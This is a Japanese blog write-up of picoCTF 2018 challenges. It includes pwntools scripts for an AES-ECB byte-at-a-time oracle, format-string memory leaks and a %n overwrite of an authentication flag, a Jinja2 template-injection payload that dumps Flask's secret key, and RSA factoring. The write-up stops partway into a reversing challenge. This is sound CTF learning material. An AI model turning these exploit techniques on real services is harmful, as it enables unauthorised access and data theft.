picoCTF 2018 の write-up 300,350点問題編。275点問題まではこちら。
ついに300pt問題にやって参りました。Hintも親切だし、エスパー問題今の所なさそうだし、超オススメ!私、割とエスパー問題好きなんですけどね(技術と知識がないと、それくらいしか解けない)
調べないと解けない問題も増えてきて、勉強になったなぁという内容の問題が多かったです。特にBinary, Reversing問題が多かった印象(自分が時間かけ過ぎなのかも)で、かなり鍛えられた感じがあります。
be-quick-or-be-dead-3 (Reversing) 問題では競プロっぽい感じの問題もあり、競プロにもちょっと興味が湧いたり。※手を出したら死にそうなのでやらないけども…!
300,350点問題を解いた時点でのスコアは 13180
pt。順位は 639
まで一気に上がりました。
今回は1問(最初の Artisinal Handcrafted HTTP 3)、問い合わせ中の問題があり、放置してます…。
そろそろ終りが見えてきたかな?と思ってGameページのイケてるグラフィック見てみたのですが、なんとまだ Locked (問題文が出てきていない) 問題が結構残ってる…!特にWebとRebversingはまだまだ問題が増えそうな感じです。
[Web] Artisinal Handcrafted HTTP 3 (300pt)
We found a hidden flag server hiding behind a proxy, but the proxy has some... interesting ideas of what qualifies someone to make HTTP requests. Looks like you'll have to do this one by hand. Try connecting via nc 2018shell.picoctf.com 17643, and use the proxy to send HTTP requests to
flag.local
. We've also recovered a username and a password for you to use on the login page:realbusinessuser
/potoooooooo
.
google翻訳だとワケワカメだったのでちゃんと読む。proxy越しにflagを取らないといけないが、proxyの承認方法がちょっと変わっていて、手作業でなにかしないとだめらしい。
最後の文章から、ユーザーネームとパスワードはログインページで使用するらしい。
まずは、指定されたコマンドを実行してみる。
$ nc 2018shell.picoctf.com 17643
うーん、何も起きない。verbose optionで詳細を表示するようにして実行してみる。
$ nc 2018shell.picoctf.com 17643 -v nc: connectx to 2018shell.picoctf.com port 17643 (tcp) failed: Connection refused
あれ、Connection refused。
更に picoCTF の shell server 上で動かしてみるも、同じく何も起きない。
指定のホストにproxyオプションを付けて接続してみる。
プロキシ情報は host: 2018shell.picoctf.com
, port: 17643
っぽいのでそうしてみる。
$ nc flag.local 80 -x 2018shell.picoctf.com:17643 -v nc: connect to 2018shell.picoctf.com port 17643 (tcp) failed: Connection refused error = 0 61
うーん。今度はcurlで username, password 付きで送ってみる。(なんか違うっぽいけど、問題文のusername/passwordがプロキシの認証に必要なものだと仮定。)
$ curl -x http://2018shell.picoctf.com:17643 -U realbusinessuser:potoooooooo http://flag.local curl: (7) Failed to connect to 2018shell.picoctf.com port 17643: Connection refused
ʅ(´-ω-`)ʃ
picoCTFのnewsサイトに、問い合わせについて記載されていたので、Piazza に登録&ログインして該当の問題のスレッドを探してみる。と、〇〇のポートが応答無いよ、の質問が Unresolved の状態でいくつか連なっていたので、たぶん今解けない。もしくは解けるんだけどわかっていない人がたくさんいる?
めっちゃ時間使ってしまった…。
[Crypto] SpyFi (300pt)
James Brahm, James Bond's less-franchised cousin, has left his secure communication with HQ running, but we couldn't find a way to steal his agent identification code. Can you? Conect with nc 2018shell.picoctf.com 37131. Source.
James Brahmのエージェントコードを盗んでください。という問題かな?
言われたホストに接続してみます。
$ nc 2018shell.picoctf.com 37131 Welcome, Agent 006! Please enter your situation report: not so bad ce046744a8001b55f5031288fc983115ff5affb36c681216a9c51e8f21a58aed691761c8573db4e7ea6b58605dd68fbd6ed54c0a9d5bd1f49f1bc7e2581432b8ee9e908e404313eaec1e41c31bf050cfc139b3e6b199e8a2fb92027f7046b3de6afe9de92c8156e56b85098b5278e3d4ff115e095118645915c5e373d5284e20fedb6451ee78330d873921124a4bcc05baff560bd1b75215fc4815a04787be7e091cf653b40dea8b8ad7285b82cda635
私はAgent006らしい(コード見たら全員006だった…)。状況を教えろと言われたので「悪くない」と答えたら、hex codeっぽいのが送られてきた。
落としてきたソースコードはこちら。
#!/usr/bin/python2 -u from Crypto.Cipher import AES agent_code = """flag""" def pad(message): if len(message) % 16 != 0: message = message + '0'*(16 - len(message)%16 ) return message def encrypt(key, plain): cipher = AES.new( key.decode('hex'), AES.MODE_ECB ) return cipher.encrypt(plain).encode('hex') welcome = "Welcome, Agent 006!" print welcome sitrep = raw_input("Please enter your situation report: ") message = """Agent, Greetings. My situation report is as follows: {0} My agent identifying code is: {1}. Down with the Soviets, 006 """.format( sitrep, agent_code ) message = pad(message) print encrypt( """key""", message )
コードを読みます。
こちらの入れた状況レポートが sitrep
変数に入り、message
が作成されます。agent_code
がflagっぽい。
このmessageは pad()
関数で加工、key
で暗号化されて表示されている様子。
pad関数の処理を見てみると、ただのパディング。message
の長さが16の倍数になるよう、後ろを 0
埋めしています。
encrypt関数を見てみます。
MODE_ECBのAES暗号のようです。鍵がわからないのが困った。
条件を整理すると
- ECB mode の AES暗号で暗号化された暗号文が手に入る
- keyは入手不可
- 平文は、flag部分以外は既知、更に一部自分で決めることができる
ちなみにタイトルの SpyFi は、「スパイフィクション」というジャンルの事っぽい。解法には結びつかなさそう。
AES の ECBってどんなんだったけなとググる。何でもググる。と、こんな刺激的なサイトが。
暗号技術入門04 ブロック暗号のモード〜ブロック暗号をどのように繰り返すのか〜 | SpiriteK Blog
EBCモードだけは使うな!(黄色の背景の赤字の画像)
脆弱ってことだな。
この後に続く説明も非常にわかりやすい。
平文ブロックを暗号化したものが、そのまま暗号文ブロックになる
ということで、同じ2つの平文のブロックを暗号化すると、同じ暗号文ブロックになるということ。今回はブロックサイズもわかっているので、この性質を用いて攻撃できそう。
実際の攻撃例を探してみると、下記の記事がヒット。
AES-ECBに対する攻撃を考える - ぺんぎんさんのおうち
ということで取り組んでいきます。
messageは、入力文字列が入る前に何文字かprefixが決まっています。
Agent, Greetings. My situation report is as follows:
ここまで単純に数えると53文字。
きりよく16の倍数にします。->64文字。なので、入力の最初の11文字はpaddingに。
次のブロックは、既知の文15文字+特定したい文字
になるようにします。既知の文は、
My agent identifying code is: {flag}
となるので、この文字列の特定したい文字の直前15文字を使います。
最初の一文字を特定する場合、ブロックごとにこんな感じになります。
#1: Agent, Greetings\n #2: . My situation r #3: eport is as foll #4: ows: {padding * 11} #5: fying code is: {attack_str} #6: \nMy agent identi #7: fying code is: {flag[0]} #8: {flagの続き + ...}
attack_str
を変更していき、5ブロックと7ブロックの暗号文がおなじになるものが正解。
二文字目になるとこんな感じ。
#1: Agent, Greetings\n #2: . My situation r #3: eport is as foll #4: ows: {padding * 11} #5: ying code is: p{attack_str} #6: {padding * 15}\n #7: My agent identif #8: ying code is: p{flag[0]} #9: {flagの続き + ...}
今度は5ブロックと8ブロックの暗号文が同じになれば正解。
ちなみに、#9の頭の改行が考慮できておらず時間を潰してしまった…。最初は解き方が合っているかの検証のため、一文字目が p
(picoCTF{)の前提で暗号文が一致するか検証していたのですが、この改行が抜けていたのでDebugにかなり時間を取られた。
今回はお風呂じゃなくて、保育園にお迎えに向かっている途中にふとバグに気づいた。気分転換大事。改行を入れるとバッチリ合ったので気持ちよかった!!
#!/usr/bin/env python3 # -*- coding:utf-8 -*- from pwn import * host = '2018shell.picoctf.com' port = 37131 MAX_FALG_SIZE = 64 candidates = [chr(i) for i in range(33, 127)] pre_msg_1 = b"""Agent, Greetings. My situation report is as follows: """ pre_msg_2 = b""" My agent identifying code is: """ def is_duplicate(seq): # ※1 return len(seq) != len(set(seq)) def bruteforce(message): r = remote(host, port) r.recvuntil(b'Please enter your situation report') r.sendline(message) r.recv() cipher = r.recv() r.close() return bytes.fromhex(cipher.decode()) def check(cipher): blocks = [cipher[i: i+16] for i in range(0, len(cipher), 16)] return is_duplicate(blocks) def create_message(prefix, attack_chr): padding_size = 16 - (len(prefix) % 16) pre_msg = pre_msg_2 + prefix message = b'a' * 11 message += pre_msg[-15:] + attack_chr message += b'a' * padding_size return message print(candidates) print(len(pre_msg_1)) # 53 print(len(pre_msg_2)) # 31 flag = b'picoCTF{' is_found = False is_end = False for _ in range(MAX_FALG_SIZE - len(flag)): is_found = False for c in candidates: print(flag, c) message = create_message(flag, c.encode()) print(message) cipher = bruteforce(message) if check(cipher): flag += c.encode() print('#########[HIT!]#########') is_found = True if c == '}': is_end = True break if is_end: break if not is_found: print('No candidate found...') break print(flag)
※1: 本来は何ブロック目と何ブロック目がマッチしているか、みたいな比較をすべきなのですが、今回は暗号の性質上、平文が同じでない場合の暗号文の衝突の可能性は限りなく小さいとのことなので、重複するブロックがないか、という観点でのみのチェックを行っています。
実行結果
['!', '"', '#', '$', '%', '&', "'", '(', ')', '*', '+', ',', '-', '.', '/', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ':', ';', '<', '=', '>', '?', '@', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '[', '\\', ']', '^', '_', '`', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '{', '|', '}', '~'] (~~中略~~) [+] Opening connection to 2018shell.picoctf.com on port 37131: Done [*] Closed connection to 2018shell.picoctf.com port 37131 b'picoCTF{@g3nt6_1$_th3_c00l3$t_9451543' z b'aaaaaaaaaaac00l3$t_9451543zaaaaaaaaaaa' [+] Opening connection to 2018shell.picoctf.com on port 37131: Done [*] Closed connection to 2018shell.picoctf.com port 37131 b'picoCTF{@g3nt6_1$_th3_c00l3$t_9451543' { b'aaaaaaaaaaac00l3$t_9451543{aaaaaaaaaaa' [+] Opening connection to 2018shell.picoctf.com on port 37131: Done [*] Closed connection to 2018shell.picoctf.com port 37131 b'picoCTF{@g3nt6_1$_th3_c00l3$t_9451543' | b'aaaaaaaaaaac00l3$t_9451543|aaaaaaaaaaa' [+] Opening connection to 2018shell.picoctf.com on port 37131: Done [*] Closed connection to 2018shell.picoctf.com port 37131 b'picoCTF{@g3nt6_1$_th3_c00l3$t_9451543' } b'aaaaaaaaaaac00l3$t_9451543}aaaaaaaaaaa' [+] Opening connection to 2018shell.picoctf.com on port 37131: Done [*] Closed connection to 2018shell.picoctf.com port 37131 #########[HIT!]######### b'picoCTF{@g3nt6_1$_th3_c00l3$t_9451543}'
実行にかかった時間は約15分。競技中でも待てなくはないかな…?
候補の文字種別を減らせるともっと早いんですけど。flagに使う可能性のある文字種別ってどこかに記載がなかったのかな?見つけられなかった。
ちなみに最初 @
などの記号を候補に入れていなかったので、空回って困った。。。
[Binary] echooo (300pt)
This program prints any input you give it. Can you leak the flag? Connect with nc 2018shell.picoctf.com 3981. Source.
なんだかBinary問題かつ300点問題としては、解けている人が多い印象。
配布されたファイルは、一つは実行ファイル
$ file echo echo: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a5f76d1d59c0d562ca051cb171db19b5f0bd8fe7, not stripped
もう一つはソースコード
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0); char buf[64]; char flag[64]; char *flag_ptr = flag; // Set the gid to the effective gid gid_t gid = getegid(); setresgid(gid, gid, gid); memset(buf, 0, sizeof(flag)); memset(buf, 0, sizeof(buf)); puts("Time to learn about Format Strings!"); puts("We will evaluate any format string you give us with printf()."); puts("See if you can get the flag!"); FILE *file = fopen("flag.txt", "r"); if (file == NULL) { printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n"); exit(0); } fgets(flag, sizeof(flag), file); while(1) { printf("> "); fgets(buf, sizeof(buf), stdin); printf(buf); } return 0; }
コードの処理としては、メッセージを出力したあと、flag.txt
を読み込んで flag
に格納し、標準入力でユーザーのインプットを buf
に格納、buf
を出力。
bufはサイズが64なので、BufferOverflowの脆弱性があるかな?と思ったけど、 今回は fgets
時に sizeof(buf)
を指定しているので、bufferサイズを溢れた分は次回の出力に持ち越されているように見える。
localで実行してもflag.txtがないので、指定されたホストのサーバー上で実行する必要がある。
ググってたどり着いた、これに条件が似ていそう。IPAのサイトだ。
IPA ISEC セキュア・プログラミング講座:C/C++言語編 第10章 著名な脆弱性対策:フォーマット文字列攻撃対策
セキュリティセンターTOP > セキュアプログラミング講座 > C/C++言語編 > 著名な脆弱性対策 > フォーマット文字列攻撃対策 フォーマット文字列攻撃は、領域をあふれさせることなくバッファオーバーフロー攻撃と同様の被害を及ぼすことのできる攻撃手口である。
内容を呼んでみると、確かにこの攻撃手法が今回使えそうである。
ちなみに、 フォーマット文字列攻撃
や format string attack
で検索すると、かなりの情報が出てきた。
常設ctfの ksnctf の Villager A もこの手法を使うらしい。私が飛ばしたやつだな。この後やって、理解を深めておこう。
今回は、ももいろテクノロジーさんの記事を大変参考にさせていただきました。
format string attackによるメモリ読み出しをやってみる - ももいろテクノロジー
printf関数が呼び出されるとき、その第一引数となるフォーマット文字列のアドレスはスタックの一番上に置かれている。 ここでフォーマット文字列に%08xを送り込むと、本来第2引数があるはずのスタック上位から2ワード目を出力させることができる。
ということで、printf関数の %x, %s, %n
などのフォーマッタが使われている場合は、これを使用してメモリへの書き込み・リークが行えるという事らしいです。
今回の問題では、flagの文字列格納先が flag_ptr
というポインタで示されるので、これがstackのどこかに積まれます。
ということは、フォーマット文字列攻撃を利用して、stackの中身を順番にえーーいと出してやると、いつか flag_ptr
に当たってフラグ文字列が出てきそう。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- from pwn import * host = '2018shell.picoctf.com' port = 3981 for i in range(1000): print('index: ' + str(i)) attack_msg = b'%%%d$s' % i r = remote(host, port) r.recvuntil(b'See if you can get the flag!\n> ') r.sendline(attack_msg) res = '' try: res = r.recv().decode() except: print('can not decode res message.') finally: r.close() if 'picoCTF' in res: print(res) break
実行結果
$ python solve.py index: 0 [+] Opening connection to 2018shell.picoctf.com on port 3981: Done [*] Closed connection to 2018shell.picoctf.com port 3981 index: 1 [+] Opening connection to 2018shell.picoctf.com on port 3981: Done [*] Closed connection to 2018shell.picoctf.com port 3981 (~~中略~~) index: 7 [+] Opening connection to 2018shell.picoctf.com on port 3981: Done can not decode res message. [*] Closed connection to 2018shell.picoctf.com port 3981 index: 8 [+] Opening connection to 2018shell.picoctf.com on port 3981: Done [*] Closed connection to 2018shell.picoctf.com port 3981 picoCTF{foRm4t_stRinGs_aRe_DanGer0us_36de83c4}
[General] learn gdb (300pt)
Using a debugging tool will be extremely useful on your missions. Can you run this program in gdb and find the flag? You can find the file in /problems/learn-gdb_4_2ca642e0eb4e21999bb1e6650342e545 on the shell server.
gdb使える?という問題っぽい。
配布されたバイナリを確認します。
$ file run run: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=27dc8fec6c7c8d85a80d59f41d081a2ec7a1928c, not stripped
picoCTFのshell server上で実行してみます。
$ ./run Decrypting the Flag into global variable 'flag_buf' ..................................... Finished Reading Flag into global variable 'flag_buf'. Exiting.
ふむ。ヒントはこちら。
Try setting breakpoints in gdb Try and find a point in the program after the flag has been read into memory to break on Where is the flag being written in memory?
ほう、この手順でflagが取得できるのか。
runファイルの逆アセンブリ結果を見てみます。main関数はこちら。
00000000004008c9 <main>: 4008c9: 55 push %rbp 4008ca: 48 89 e5 mov %rsp,%rbp 4008cd: 48 83 ec 10 sub $0x10,%rsp 4008d1: 89 7d fc mov %edi,-0x4(%rbp) 4008d4: 48 89 75 f0 mov %rsi,-0x10(%rbp) 4008d8: 48 8b 05 f9 0a 20 00 mov 0x200af9(%rip),%rax # 6013d8 <stdout@@GLIBC_2.2.5> 4008df: b9 00 00 00 00 mov $0x0,%ecx 4008e4: ba 02 00 00 00 mov $0x2,%edx 4008e9: be 00 00 00 00 mov $0x0,%esi 4008ee: 48 89 c7 mov %rax,%rdi 4008f1: e8 5a fd ff ff callq 400650 <setvbuf@plt> 4008f6: bf d0 09 40 00 mov $0x4009d0,%edi 4008fb: e8 00 fd ff ff callq 400600 <puts@plt> 400900: b8 00 00 00 00 mov $0x0,%eax 400905: e8 7c fe ff ff callq 400786 <decrypt_flag> 40090a: bf 08 0a 40 00 mov $0x400a08,%edi 40090f: e8 ec fc ff ff callq 400600 <puts@plt> 400914: b8 00 00 00 00 mov $0x0,%eax 400919: c9 leaveq 40091a: c3 retq 40091b: 0f 1f 44 00 00 nopl 0x0(%rax,%rax,1)
decrypt_flag関数があやしいです。とっても。
decrypt_flag関数にbreakpointを貼って、中を実行してもらった直後のflagが格納されてそうな領域を表示させて見る作戦で行きます。
ということで、まずはgdbを立ち上げます。以下、shell server上で実行しています。
$ gdb run (略)
decrypt_flag 関数にbreakpointを設定します。
(gdb) b decrypt_flag Breakpoint 1 at 0x40078a
実行します。
(gdb) run Starting program: /problems/learn-gdb_4_2ca642e0eb4e21999bb1e6650342e545/run Decrypting the Flag into global variable 'flag_buf' Breakpoint 1, 0x000000000040078a in decrypt_flag ()
Breakpoint貼ったところで止まりました。decrypt_flag関数を実行してもらうため、nextします。
(gdb) n Single stepping until exit from function decrypt_flag, which has no line number information. ..................................... 0x000000000040090a in main ()
decrypt_flagを実行したところでまた止まってくれました。
ここで、decrypt_flag
関数の逆アセンブリを確認した所、 flag_buf
といういかにもな領域が存在しています。
この関数を最後まで実行した後の、 flag_buf
を表示してやると、flagが残っているかも。
(gdb) x/s flag_buf 0x1d8e010: "picoCTF{gDb_iS_sUp3r_u53fuL_9fa6c71d}"
いました!やった!
gdbって General Skillなんですね?
[Web] Flaskcards (350pt)
We found this fishy website for flashcards that we think may be sending secrets. Could you take a look?
websiteのリンク先に飛んでみます。
Register画面があり、登録すると Signinできます。
ログインするとwelcome メッセージ。使うかもしれないのでcookieも表示しておきました。
一通り機能を確認しておきます。
Create Card で質問と答えのカードが作れます。
作ったQAの一覧は、List Cards で確認できます。ちなみに簡単なXSS攻撃を試してみましたが、効いてません。
最後に、adminページがあるみたいなので行ってみます。
adminとしてログインしていないとアクセスできないみたいです。
今までの問題と比べてぐっと画面数が多くなりました。
ここで、問題文「Flaskcards」をちょっと調べてみます。Flask は python の Web framework にあるけど、関係あるのかな?
ということでぐぐってみると、こんな記事を発見。
これが刺さるかどうかはわかりませんが、ためになりそう。
この記事によると、Flaskのセッションは session
という名前の cookie に保存されている。パートによっては base64 encode されているだけなので、decode すると username などが得られる。ここを admin
に変えてやればadminのsessionに改ざんできそうだが、sessionには署名パートがあり、これの改ざんのためには secret_key
が必要になる。
じゃあ secret_key はどこかというと、その次の章の解説に出てくるテンプレートエンジンに注目。Flaskでは Jinja2
というテンプレートエンジンを使っており、Flaskではデフォルトでいくつかの変数がJinja2に渡されているそうです。その中の一つの config
の中に、今回欲しい secret_key
が格納されていると。
これをテンプレート内で利用することができるそうです。
ちなみに、こういったテンプレートに不正な値を埋め込み、任意のコードを実行させることを Server-Side Template Injection
と言うそうです。うーん、とってもためになった!
今回、admin用のページが用意されていることから、この攻撃手法は有効かもしれません。login時にcookieを念の為表示しておきましたが、確かに session
という名前のレコードが存在しています。
今回のwebサイトの機能では、ログインした後は Create Card
で入力した値を List Card
で表示させることができるので、Createの方で攻撃を仕込めそう。
テンプレート上で評価してもらえるよう、 {{}}
で囲って表示させたい変数を評価させます。ということで、Create Card の QもしくはAの方に {{config.items()}}
を入力。
心持ち時間がかかった後、登録されたようなので、Listを見に行くと、configの中身が出力されていました!!!
secret_keyを探してみると、今回はなんとここですでにflagの形をしています。sessionをadminに改ざんとかするまでもなく、ここでflagがgetできました!
[Crypto] Super Safe RSA (350pt)
Dr. Xernon made the mistake of rolling his own crypto.. Can you find the bug and decrypt the message? Connect with nc 2018shell.picoctf.com 59208.
250pt問題に、"Safe RSA" っていうのがあったな。それの上位互換の問題かしら。
まずは指定されたホストに接続してみます。
$ nc 2018shell.picoctf.com 59208 c: 9685291204188248281433263382838813038672382448412789496673514708660137802419237 n: 26684319775662585140787713249852835878576630592836402086984559030187345643622443 e: 65537
あれ、これだけだ。
毎回接続するたびに、c
と n
の値は変わっている。ん、これがもしかして問題文のrolling?
問題文によると、Xernonさん独自暗号らしいが、何か間違ってしまったらしい。ヒントはこちら。
Just try the first thing that comes to mind.
ええー!何も浮かびませんけど・・・!しかもミスってるんでしょ?ううむ。
接続するたびに c
と n
が変わるが、ここは毎回同じ平文を暗号化していると考えるのが妥当そう。条件としてはこんな感じ。
- 同一の平文 (m) に対する、(n,c) のセットが複数与えられる
- eは固定 (65537): 大きすぎず小さすぎず
何も浮かばないけど、ひねり出した。
- nが簡単に素因数分解できる
- 実はCが平文で答えが暗号文(ミス、というのに過剰反応)
- Hastad's broadcast Attack (同一の平文mを異なる公開鍵nで暗号化した暗号文cをe個得られるとき、中国の剰余定理を用いてmを求めることができる)
1.は今まで factordb.com で計算してもらったりしていたが、ちょうどやってみていたときサイトが落ちていたので、これを機にlocalで計算する環境を整えてみることに。
2.はやってみたけど違うっぽい。3.はcをe個集めるというのがハードル高い(e=65537
もあるので)。
今回は下記サイトをかなり参考にさせてもらった。RSA暗号に対する攻撃手法一覧がまとまっている。この中のどれかが使えるんじゃないかなー?と思いながら、条件に合うものを探しました。
公開鍵暗号 - RSA - 基礎 - ₍₍ (ง ˘ω˘ )ว ⁾⁾ < 暗号楽しいです
与えられた条件に当てはまりそうなのはやっぱり 3 の "Hastad's broadcast Attack" かなぁ。
ということで、3.のプログラムを組んで回してみつつ、1.を計算する環境を整える。
Hastad's broadcast Attack を使って解く
#!/usr/bin/env python3 # -*- coding:utf-8 -*- # ももいろテクノロジー: plain RSAに対する攻撃手法を実装してみる のコードを流用 # http://inaz2.hatenablog.com/entry/2016/01/15/011138 # hastads_broadcast_attack.py import gmpy from pwn import * def chinese_remainder(pairs): N = 1 for a, n in pairs: N *= n result = 0 for a, n in pairs: m = N//n d, r, s = gmpy.gcdext(n, m) if d != 1: raise "Input not pairwise co-prime" result += a*s*m return result % N, N def hastads_broadcast_attack(e, pairs): x, n = chinese_remainder(pairs) return gmpy.root(x, e)[0] host = '2018shell.picoctf.com' port = 59208 e = 65537 pairs = [] for i in range(e): r = remote(host, port) msg = r.recv() c = int(msg.split()[1]) n = int(msg.split()[3]) pairs.append((c,n)) r.close() plaintext = hastads_broadcast_attack(e, pairs) print(plaintext)
なんせ 6万回以上接続せねばならんので、途中で破綻しそうな気もする・・・。運営から止められないか心配しつつ、1のための環境を整える。
nの素因数分解
今回は、kali linux にMsieveをinstallした。
計算してみた所、ものの5分で答えが出た。こっちが正解だったか・・・!確かに最初に浮かんだ方法だった。
# ./msieve -q -v -e 26684319775662585140787713249852835878576630592836402086984559030187345643622443 (~~中略~~) p39 factor: 166529392897101751485225127642943583329 p42 factor: 160237897415207561169112908729475513798667
ちなみに、3の解法の線でぶん回していたプログラムは途中でNW断か何かで力尽きて止まってました。
今回得られた素因数分解の結果を p,q として 与えられた c,n,e から 平文を計算します。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- from Crypto.Util.number import inverse import gmpy c = 9685291204188248281433263382838813038672382448412789496673514708660137802419237 n = 26684319775662585140787713249852835878576630592836402086984559030187345643622443 e = 65537 p = 166529392897101751485225127642943583329 q = 160237897415207561169112908729475513798667 d = inverse(e, (p-1)*(q-1)) plain = pow(c, d, n) print(plain) flag = bytes.fromhex(hex(plain)[2:]).decode('ascii') print(flag)
実行結果
$ python solve.py 198614235373674103789367498165241205414198384663776181046663386483085883005 picoCTF{us3_l@rg3r_pr1m3$_5496}
うーん、めっちゃ遠回りしてしまったけどなんとか。調べたい試してみた他の手法も、次の段階のRSA問題に役立つはず…!
[Binary] authenticate (350pt)
Can you authenticate to this service and get the flag? Connect with nc 2018shell.picoctf.com 52918. Source.
落としてこれるのは、下記のバイナリとソースコード。
$ file auth auth: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=36db9dbaf46e8f9c9055839ffedd30fe65050a47, not stripped
#include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <string.h> #include <sys/types.h> int authenticated = 0; int flag() { char flag[48]; FILE *file; file = fopen("flag.txt", "r"); if (file == NULL) { printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n"); exit(0); } fgets(flag, sizeof(flag), file); printf("%s", flag); return 0; } void read_flag() { if (!authenticated) { printf("Sorry, you are not *authenticated*!\n"); } else { printf("Access Granted.\n"); flag(); } } int main(int argc, char **argv) { setvbuf(stdout, NULL, _IONBF, 0); char buf[64]; // Set the gid to the effective gid // this prevents /bin/sh from dropping the privileges gid_t gid = getegid(); setresgid(gid, gid, gid); printf("Would you like to read the flag? (yes/no)\n"); fgets(buf, sizeof(buf), stdin); if (strstr(buf, "no") != NULL) { printf("Okay, Exiting...\n"); exit(1); } else if (strstr(buf, "yes") == NULL) { puts("Received Unknown Input:\n"); printf(buf); } read_flag(); }
まずは指定のホストに接続して挙動を確認。
$ nc 2018shell.picoctf.com 52918 Would you like to read the flag? (yes/no) yes Sorry, you are not *authenticated*!
flagが読みたいかと聞かれたので yes で答えたら、権限がないよ!と言われた。
コードを読んでみます。
flagが読みたいか?という出力の後、 fgets
でユーザー入力を buf
に格納(bufのサイズは 64)。もし "yes" と入力された場合は、read_flag()
関数を実行。"no" のときは「終了します」と表示してexit, "yes" 以外の場合は、"Received Unknown Input:" と表示し、入力された内容を出力します。
read_flag()
関数は、authenticated
が 0 以外のときは flag()
関数をcall。この関数の中で flag.txt
ファイルを読み出し、 flag
変数に格納、表示させます。
今回はfgets関数でサイズを指定しているので、BufferOverflowは使えなさそう。
flag.txt を読み出さなければいけないので、localでは解けません。思いついた手法は authenticated 変数の書き換え。ユーザー入力の値が "yes" か "no" でない場合は、printf で入力がそのまま出力されることを利用して、ここに攻撃コードを埋め込みます。
この方針で行くにあたり、まずは authenticated の格納場所を調査。
(Hopperでバイナリを開いて、テキストサーチ -> ダブルクリックでアドレス特定)
authenticated: 0804a04c db 0x00 ; '.' ; DATA XREF=read_flag+6 0804a04d db 0x00 ; '.' 0804a04e db 0x00 ; '.' 0804a04f db 0x00 ; '.'
0x0804a04c
のようです。
攻撃方法としては、echoooの問題と同じように、printf
関数が使われており、ここでフォーマット文字列攻撃が使えそうです。
今回も、ももいろテクノロジーさんの記事を大変参考にさせていただきました。
format string attackによるメモリ読み出しをやってみる - ももいろテクノロジー
今回は、この記事のサンプルとほぼ同じ状況です。
スタックの中身を表示させてみます。
$ nc 2018shell.picoctf.com 52918 Would you like to read the flag? (yes/no) AAAA%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x' Received Unknown Input: AAAA080489a6.f76fb5a0.0804875a.f7733000.f7733918.ff896040.ff896134.00000000.ff8960d4.0000042a.41414141.78383025
今回は、11番目に AAAA
に対応する 41414141
が現れました。
echoooの問題のときは %s
のフォーマット文字列を使用しました。これは、引数のアドレスが指す文字列を出力するもので、前回は文字列が格納されているアドレスを直接読み出すだけでOKでした。
今回は、authenticated
の値を書き換える必要があるので、 %n
のフォーマット文字列を使用します。%n
は、今までに出力したバイト数を指定したアドレスに書き込むものです。
ということで、攻撃コードは {authenticatedのアドレス} + %11$n
。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- from pwn import * host = '2018shell.picoctf.com' port = 52918 target_address = 0x0804a04c attack_msg = p32(target_address) attack_msg += b'%11$n' r = remote(host, port) print(r.recvuntil(b'Would you like to read the flag? (yes/no)\n')) r.sendline(attack_msg) print(r.recvall())
実行結果
$ python solve.py [+] Opening connection to 2018shell.picoctf.com on port 52918: Done b'Would you like to read the flag? (yes/no)\n' [+] Recieving all data: Done (90B) [*] Closed connection to 2018shell.picoctf.com port 52918 b'Received Unknown Input:\n\nL\xa0\x04\x08\nAccess Granted.\npicoCTF{y0u_4r3_n0w_aUtH3nt1c4t3d_d29a706d}\n'
٩(๑❛ᴗ❛๑)۶
[Reversing] be-quick-or-be-dead-3 (350pt)
As the song draws closer to the end, another executable be-quick-or-be-dead-3 suddenly pops up. This one requires even faster machines. Can you run it fast enough too? You can also find the executable in /problems/be-quick-or-be-dead-3_4_081de19947195d5a491290bc42530db6.
時間切れ問題のシリーズ3。また解けた人がぐっと減っています。ということですぐヒントも見ます。
How do you speed up a very repetitive computation?
繰り返しの多い計算をどうやったら高速化できるか?と聞かれてますね。これは鍵になりそう。
リンク先のyoutube動画はこれまでの謎のPVやつっぽいので無視します。
今回配布されるバイナリファイルはこちら
$ file be-quick-or-be-dead-3 be-quick-or-be-dead-3: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=3ccb7dc1582bf53ee6a967a504a20b68af1a623f, not stripped
picoCTF の shell server 上で実行してみます。
$ ./be-quick-or-be-d ead-3 Be Quick Or Be Dead 3 ===================== Calculating key... You need a faster machine. Bye bye.
今までと全く一緒ですね。数秒で You need a faster machine. Bye bye.
と言われて終了です。
radare2 でアセンブラを見てみます。まずはmain。
